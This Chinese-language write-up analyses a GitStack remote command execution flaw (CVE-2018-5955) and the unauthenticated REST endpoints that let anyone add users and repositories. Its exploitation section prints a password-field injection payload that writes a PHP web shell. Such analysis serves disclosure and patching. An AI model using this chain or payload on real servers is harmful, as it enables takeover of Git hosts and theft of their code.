GitStack 远程命令执行漏洞分析

一、背景介绍

GitStack是一款可以在Windows上设置自己的专用Git服务器的软件。利用它可以创建一个前沿版本控制系统,而无需任何Git知识。 GitStack也使得安全并保持服务器更新变得非常简单。 GitStack构建在真正Git for Windows的顶部,并且与任何其他Git客户端兼容。 GitStack对于小型团队来说是完全免费的。

1.1漏洞描述

在GitStack <=2.3.10版本中,程序没有严格控制用户权限,导致攻击者可进行任意添加用户等操作,并且由于没有严格控制并过滤用户的输入,导致攻击者可构造恶意payload,造成命令执行漏洞。

1.2受影响的系统版本

GitStack <=2.3.10

1.3.漏洞编号

CVE-2018-5955

二、漏洞细节

在 /gitphp/include/Authentication.class.php 中217行

gitstack

在exec 函数中,其参数拼接了$password变量,该变量是由authenticateFile方法传入。

全局搜索authenticateFile方法

在/gitphp/include/Authentication.class.php中

gitstack_02

发现两处调用的地方,并且看到了$password由$SERVER[‘PHP_AUTH_PW’] 赋值,也就是说$password可控,并且$password没有任何过滤。

继续搜索authenticate方法

/gitphp/index.php 157行

gitstack_03

先实例化GitPHP_Authentication类,然后调用其方法。

那么,接下来,就想如何构造参数,才能使数据流走向图中箭头所指if这里。

gitstack_04

gitstack_05

第一步,需要传入参数p(repository),并且everyone不在$users数组中$username在$users数组中。

$users是什么东西呢?

$this->readRepositoryReadUsers()返回的是指定的参数p,即指定的repository中允许访问的用户数组。

gitstack_06

如图为test项目中允许访问的用户,返回的users为[‘ttt’]。

第二步,$authMethod(认证类型)要为file。

跟进getAuthMethod函数。

gitstack_07

gitstacksettings值在data/settings.ini文件中

gitstack_08

gitstack_09

所以,默认的认证类型为file。

第三步,$username键名要在$userInfos数组中

gitstack_10

gitstack_11

passwdfile存的是系统所有的用户信息。

gitstack_12

gitstack_13

这部分说的是将这些用户信息取出,然后赋值给$userInfos数组。

 

那么该漏洞利用思路就很清晰了,首先通过要传递一个参数p,也就是传入一个repository(A)。然后通过$_SERVER['PHP_AUTH_USER']传入一个具有A权限的用户B,并且用户B是系统上目前存在的用户(要从passwdfile中验证)。为什么已经是repository权限中的用户,还要验证?

因为如果将用户B删除后,repository(A)权限列表中仍然会有用户B。

然后,再通过$_SERVER['PHP_AUTH_PW']传入恶意payload。造成命令执行漏洞。

但这个漏洞利用前提是要有个user和repository,并且需要将user加到repository权限列表中去,而这些都需要管理员去添加。我们总不能靠猜吧。这么说,那这个漏洞不就是个鸡肋吗?

并不是,结合以下未授权访问漏洞就会完美利用。

未授权访问漏洞

1、任意查看添加修改用户信息

在app/rest/views.py 18行:

gitstack_14

定义了rest_user方法,该方法可以直接被访问,没有权限验证。

1.1.通过get方式可以直接查看Gitstack上所有用户的用户名。

gitstack_15

1.2.通过post方式可以随意添加用户。

gitstack_16

gitstack_17

成功创建ababab用户。

1.3.通过put方式可以修改用户密码

gitstack_18

 

2、任意添加repository
在app/rest/views.py 188行

gitstack_19

同样该方法也没有进行权限验证。

通过POST方法,可以任意创建repository。

gitstack_20

cookie中的csrftoken与csrfmiddlewaretoken 一致就可以。

 

3、将指定用户加到repository权限中

在app/rest/views.py 260行:

gitstack_21

通过POST方法,可以将指定用户添加到repository权限中去。

gitstack_22

三、漏洞利用

先通过未授权访问漏洞:

1.创建用户

2.创建repository

3.将指定用户加到repository权限中

然后利用远程命令执行漏洞:

gitstack_23

用户名输入repository test1.git中的用户名ababab

gitstack_24

密码输入

a && echo “<?php system($_POST[a]); ?>” > outdoor.php

最后生成文件outdoor.php

gitstack_25

然后访问生成的文件

gitstack_26

四、修复建议

目前官方已修复该漏洞,可从官网下载最新版本。

 

Written by